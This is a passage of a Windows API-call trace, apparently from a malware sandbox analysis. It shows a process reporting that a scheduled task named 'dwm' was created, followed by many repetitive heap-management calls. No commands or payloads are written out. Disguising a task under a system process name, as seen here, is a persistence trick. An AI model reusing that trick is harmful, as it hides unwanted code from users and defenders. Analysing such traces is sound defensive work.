lpMem=0x1f4ae8ca900) returned 1 [0106.833] GetProcessHeap () returned 0x1f4ae8c0000 [0106.833] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8ca900) returned 0xe [0106.833] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8ca900) returned 1 [0106.833] GetProcessHeap () returned 0x1f4ae8c0000 [0106.833] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x82) returned 0x1f4ae8e5a40 [0106.833] _vsnwprintf (in: _Buffer=0x90ce2cd2b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x90ce2ccb48 | out: _Buffer="SUCCESS: The scheduled task \"dwm\" has successfully been created.\n") returned 65 [0106.833] __iob_func () returned 0x7ffa7941e210 [0106.833] _fileno (_File=0x7ffa7941e240) returned -2 [0106.833] _errno () returned 0x1f4aec70840 [0106.833] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0106.833] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.833] lstrlenW (lpString="SUCCESS: The scheduled task \"dwm\" has successfully been created.\n") returned 65 [0106.833] GetConsoleOutputCP () returned 0x0 [0106.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"dwm\" has successfully been created.\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0106.834] GetConsoleOutputCP () returned 0x0 [0106.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"dwm\" has successfully been created.\n", cchWideChar=65, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"dwm\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 65 [0106.834] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 65 [0106.834] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0106.834] IUnknown:Release (This=0x1f4aec76fd0) returned 0x0 [0106.834] TaskScheduler:IUnknown:Release (This=0x1f4aec75910) returned 0x0 [0106.834] TaskScheduler:IUnknown:Release (This=0x1f4aec75890) returned 0x0 [0106.834] TaskScheduler:IUnknown:Release (This=0x1f4aec75710) returned 0x0 [0106.834] lstrlenW (lpString="") returned 0 [0106.834] GetProcessHeap () returned 0x1f4ae8c0000 [0106.834] GetProcessHeap () returned 0x1f4ae8c0000 [0106.834] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caca0) returned 1 [0106.834] GetProcessHeap () returned 0x1f4ae8c0000 [0106.834] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caca0) returned 0x1fc [0106.835] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caca0) returned 1 [0106.835] GetProcessHeap () returned 0x1f4ae8c0000 [0106.835] GetProcessHeap () returned 0x1f4ae8c0000 [0106.835] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8ca8e0) returned 1 [0106.835] GetProcessHeap () returned 0x1f4ae8c0000 [0106.836] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8ca8e0) returned 0x16 [0106.836] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8ca8e0) returned 1 [0106.836] GetProcessHeap () returned 0x1f4ae8c0000 [0106.836] GetProcessHeap () returned 0x1f4ae8c0000 [0106.836] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cab00) returned 1 [0106.836] GetProcessHeap () returned 0x1f4ae8c0000 [0106.836] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cab00) returned 0x18 [0106.836] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cab00) returned 1 [0106.836] GetProcessHeap () returned 0x1f4ae8c0000 [0106.836] GetProcessHeap () returned 0x1f4ae8c0000 [0106.836] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb3d0) returned 1 [0106.836] GetProcessHeap () returned 0x1f4ae8c0000 [0106.836] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb3d0) returned 0x20 [0106.836] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb3d0) returned 1 [0106.836] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c3890) returned 1 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c3890) returned 0xa0 [0106.837] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c3890) returned 1 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4c70) returned 1 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4c70) returned 0x18 [0106.837] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4c70) returned 1 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb460) returned 1 [0106.837] GetProcessHeap () returned 0x1f4ae8c0000 [0106.837] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb460) returned 0x20 [0106.838] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb460) returned 1 [0106.838] GetProcessHeap () returned 0x1f4ae8c0000 [0106.838] GetProcessHeap () returned 0x1f4ae8c0000 [0106.838] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c3be0) returned 1 [0106.838] GetProcessHeap () returned 0x1f4ae8c0000 [0106.838] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c3be0) returned 0x76 [0106.839] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c3be0) returned 1 [0106.839] GetProcessHeap () returned 0x1f4ae8c0000 [0106.839] GetProcessHeap () returned 0x1f4ae8c0000 [0106.839] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cab20) returned 1 [0106.839] GetProcessHeap () returned 0x1f4ae8c0000 [0106.839] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cab20) returned 0x18 [0106.839] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cab20) returned 1 [0106.839] GetProcessHeap () returned 0x1f4ae8c0000 [0106.839] GetProcessHeap () returned 0x1f4ae8c0000 [0106.839] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb3a0) returned 1 [0106.839] GetProcessHeap () returned 0x1f4ae8c0000 [0106.839] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb3a0) returned 0x20 [0106.840] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb3a0) returned 1 [0106.840] GetProcessHeap () returned 0x1f4ae8c0000 [0106.840] GetProcessHeap () returned 0x1f4ae8c0000 [0106.840] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c3b60) returned 1 [0106.840] GetProcessHeap () returned 0x1f4ae8c0000 [0106.840] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c3b60) returned 0x78 [0106.840] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c3b60) returned 1 [0106.841] GetProcessHeap () returned 0x1f4ae8c0000 [0106.841] GetProcessHeap () returned 0x1f4ae8c0000 [0106.841] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8ca980) returned 1 [0106.841] GetProcessHeap () returned 0x1f4ae8c0000 [0106.841] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8ca980) returned 0x18 [0106.841] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8ca980) returned 1 [0106.841] GetProcessHeap () returned 0x1f4ae8c0000 [0106.841] GetProcessHeap () returned 0x1f4ae8c0000 [0106.841] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c9010) returned 1 [0106.841] GetProcessHeap () returned 0x1f4ae8c0000 [0106.841] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c9010) returned 0x20 [0106.842] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c9010) returned 1 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c47b0) returned 1 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c47b0) returned 0xe [0106.842] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c47b0) returned 1 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4790) returned 1 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4790) returned 0x18 [0106.842] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4790) returned 1 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c8fb0) returned 1 [0106.842] GetProcessHeap () returned 0x1f4ae8c0000 [0106.842] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c8fb0) returned 0x20 [0106.843] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c8fb0) returned 1 [0106.843] GetProcessHeap () returned 0x1f4ae8c0000 [0106.843] GetProcessHeap () returned 0x1f4ae8c0000 [0106.843] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c9b30) returned 1 [0106.843] GetProcessHeap () returned 0x1f4ae8c0000 [0106.843] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c9b30) returned 0x208 [0106.843] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c9b30) returned 1 [0106.843] GetProcessHeap () returned 0x1f4ae8c0000 [0106.843] GetProcessHeap () returned 0x1f4ae8c0000 [0106.843] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4c50) returned 1 [0106.843] GetProcessHeap () returned 0x1f4ae8c0000 [0106.843] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4c50) returned 0x18 [0106.844] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4c50) returned 1 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c8f20) returned 1 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c8f20) returned 0x20 [0106.844] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c8f20) returned 1 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cbb60) returned 1 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cbb60) returned 0x200 [0106.844] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cbb60) returned 1 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4c90) returned 1 [0106.844] GetProcessHeap () returned 0x1f4ae8c0000 [0106.844] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4c90) returned 0x18 [0106.845] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4c90) returned 1 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c91c0) returned 1 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c91c0) returned 0x20 [0106.845] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c91c0) returned 1 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c43d0) returned 1 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c43d0) returned 0x14 [0106.845] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c43d0) returned 1 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c43b0) returned 1 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c43b0) returned 0x18 [0106.845] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c43b0) returned 1 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] GetProcessHeap () returned 0x1f4ae8c0000 [0106.845] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c8f50) returned 1 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c8f50) returned 0x20 [0106.846] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c8f50) returned 1 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c46e0) returned 1 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c46e0) returned 0x16 [0106.846] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c46e0) returned 1 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4370) returned 1 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4370) returned 0x18 [0106.846] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4370) returned 1 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c8f80) returned 1 [0106.846] GetProcessHeap () returned 0x1f4ae8c0000 [0106.846] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c8f80) returned 0x20 [0106.847] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c8f80) returned 1 [0106.847] GetProcessHeap () returned 0x1f4ae8c0000 [0106.847] GetProcessHeap () returned 0x1f4ae8c0000 [0106.847] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4ef0) returned 1 [0106.847] GetProcessHeap () returned 0x1f4ae8c0000 [0106.847] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4ef0) returned 0x2 [0106.847] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4ef0) returned 1 [0106.847] GetProcessHeap () returned 0x1f4ae8c0000 [0106.847] GetProcessHeap () returned 0x1f4ae8c0000 [0106.847] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4860) returned 1 [0106.847] GetProcessHeap () returned 0x1f4ae8c0000 [0106.847] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4860) returned 0x20 [0106.847] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4860) returned 1 [0106.847] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c48b0) returned 1 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c48b0) returned 0x20 [0106.848] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c48b0) returned 1 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c48e0) returned 1 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c48e0) returned 0x20 [0106.848] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c48e0) returned 1 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4450) returned 1 [0106.848] GetProcessHeap () returned 0x1f4ae8c0000 [0106.848] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4450) returned 0x20 [0106.849] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4450) returned 1 [0106.849] GetProcessHeap () returned 0x1f4ae8c0000 [0106.849] GetProcessHeap () returned 0x1f4ae8c0000 [0106.849] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb490) returned 1 [0106.849] GetProcessHeap () returned 0x1f4ae8c0000 [0106.849] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb490) returned 0x20 [0106.849] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb490) returned 1 [0106.849] GetProcessHeap () returned 0x1f4ae8c0000 [0106.849] GetProcessHeap () returned 0x1f4ae8c0000 [0106.849] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caa20) returned 1 [0106.849] GetProcessHeap () returned 0x1f4ae8c0000 [0106.849] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caa20) returned 0xc [0106.849] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caa20) returned 1 [0106.849] GetProcessHeap () returned 0x1f4ae8c0000 [0106.850] GetProcessHeap () returned 0x1f4ae8c0000 [0106.850] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb5b0) returned 1 [0106.850] GetProcessHeap () returned 0x1f4ae8c0000 [0106.850] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb5b0) returned 0x20 [0106.850] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb5b0) returned 1 [0106.850] GetProcessHeap () returned 0x1f4ae8c0000 [0106.850] GetProcessHeap () returned 0x1f4ae8c0000 [0106.850] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c3940) returned 1 [0106.850] GetProcessHeap () returned 0x1f4ae8c0000 [0106.850] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c3940) returned 0x30 [0106.851] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c3940) returned 1 [0106.851] GetProcessHeap () returned 0x1f4ae8c0000 [0106.851] GetProcessHeap () returned 0x1f4ae8c0000 [0106.851] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb400) returned 1 [0106.851] GetProcessHeap () returned 0x1f4ae8c0000 [0106.851] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb400) returned 0x20 [0106.851] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb400) returned 1 [0106.851] GetProcessHeap () returned 0x1f4ae8c0000 [0106.851] GetProcessHeap () returned 0x1f4ae8c0000 [0106.851] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4710) returned 1 [0106.851] GetProcessHeap () returned 0x1f4ae8c0000 [0106.851] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4710) returned 0x30 [0106.852] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4710) returned 1 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cba00) returned 1 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cba00) returned 0x20 [0106.852] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cba00) returned 1 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8ca960) returned 1 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8ca960) returned 0x16 [0106.852] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8ca960) returned 1 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cba30) returned 1 [0106.852] GetProcessHeap () returned 0x1f4ae8c0000 [0106.852] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cba30) returned 0x20 [0106.853] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cba30) returned 1 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8ca920) returned 1 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8ca920) returned 0x16 [0106.853] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8ca920) returned 1 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb790) returned 1 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb790) returned 0x20 [0106.853] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb790) returned 1 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8e5a40) returned 1 [0106.853] GetProcessHeap () returned 0x1f4ae8c0000 [0106.853] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8e5a40) returned 0x82 [0106.854] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8e5a40) returned 1 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cba60) returned 1 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cba60) returned 0x20 [0106.854] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cba60) returned 1 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cac60) returned 1 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cac60) returned 0xe [0106.854] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, 